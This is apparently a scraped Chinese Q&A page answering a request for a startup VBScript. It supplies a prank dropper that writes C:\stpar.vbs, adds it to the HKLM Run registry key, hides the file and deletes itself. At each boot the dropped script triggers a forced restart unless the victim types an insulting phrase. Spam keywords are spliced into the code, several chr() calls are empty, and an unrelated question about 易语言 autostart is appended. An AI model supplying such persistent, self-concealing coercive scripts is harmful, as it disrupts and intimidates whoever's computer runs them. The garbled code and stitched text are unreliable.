帮我改一下开机自动启动的vbe脚本

       上面代码保存为vbs放在启动项里就行

       如果往上面那整人的脚本加代码的话，你得运行一次脚本

       或者

       Dim AutoRunProgram

       Set AutoRunProgram = WScript.CreateObject("WScript.shell")

       RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"

       Type_Name = "REG_SZ"

       Key_Name = "stpar.vbs"

       Key_data = "C:\stpar.vbs" （你想运行程序的启动启动路径 注释）

       AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name

       以上的vbs是通过修改注册表加入启动项的 开机启动stpar.vbs

       你把整人的脚本保存后放在C:\ 起名stpar.vbs 再运行以上脚本就行

       但这些启动项都隐藏不了，都能用或其他软件查看到

       给你重新写源码，源码源码魔性赛跑源码保存后运行,开机开机即可开机运行stpar.vbs（整人代码) 下面代码会自删的

       运行后会在C:\建stpar.vbs 且 注册表加入开机启动，并隐藏stpar.vbs 文件

       Set FSO=CreateObject("Scripting.FileSystemObject")

       Set f=FSO.OpenTextFile("C:\stpar.vbs",启动启动龙至尊指标源码2,True)

       f.WriteLine "on error resume next "

       f.WriteLine "dim WSHshellA"

       f.WriteLine "set WSHshellA = wscript.createobject("&chr()&"wscript.shell"&chr()&") "

       f.WriteLine "WSHshellA.run "&chr()&"cmd.exe /c shutdown -r -t -c "&chr()&""&chr()&"说我是猪,不说我是猪一分钟内关你电脑，不信的源码源码cur降维源码话就试试~~"&chr()&""&chr()&" "&chr()&",0 ,true"

       f.WriteLine "dim a"

       f.WriteLine "do while(a <> "&chr()&"我是猪"&chr()&")"

       f.WriteLine "a = inputbox ("&chr()&"说我是猪,就不关你电脑，快点哦，开机开机时间只有一分钟，启动启动说"&chr()&""&chr()&"我是源码源码猪"&chr()&","&chr()&"说不说"&chr()&","&chr()&"不说"&chr()&",,)"

       f.WriteLine "msgbox chr() + chr() + chr() + a,0,"&chr()&"MsgBox"&chr()&""

       f.WriteLine "loop"

       f.WriteLine "msgbox chr() + chr() + chr() + "&chr()&"早说嘛~~！"&chr()&""

       f.WriteLine "dim WSHshell"

       f.WriteLine "set WSHshell = wscript.createobject("&chr()&"wscript.shell"&chr()&")"

       f.WriteLine "WSHshell.run "&chr()&"cmd.exe /c shutdown -a"&chr()&",开机开机0 ,true"

       f.WriteLine "msgbox chr() + chr() + chr() + "&chr()&"o(∩_∩)o...哈哈，真过瘾~~！启动启动！源码源码要记得我吖~~"&chr()&""

       Dim AutoRunProgram

       Set AutoRunProgram = WScript.CreateObject("WScript.shell")

       RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"

       Type_Name = "REG_SZ"

       Key_Name = "stpar.vbs"

       Key_data = "C:\stpar.vbs"

       AutorunProgram.RegWrite regpath&Key_Name,开机开机管理jsp源码下载Key_data,Type_Name

       Set a = CreateObject("Scripting.FileSystemObject")

       a.GetFile("c:\stpar.vbs").Attributes = 2

       set fso=createobject("scripting.filesystemobject")

       fso.DeleteFile WScript.ScriptFullName

       破解 运行 输入shutdown -a

       接着把进程里的 wscript.exe 结束就行

易语言怎么写一个程序让他开机自动运行呢？比如说时钟 开机自动运行的源码～怎么写啊？

       易语言怎么写一个程序让他开机自动运行呢？比如说时钟

       开机自动运行的源码～怎么写啊？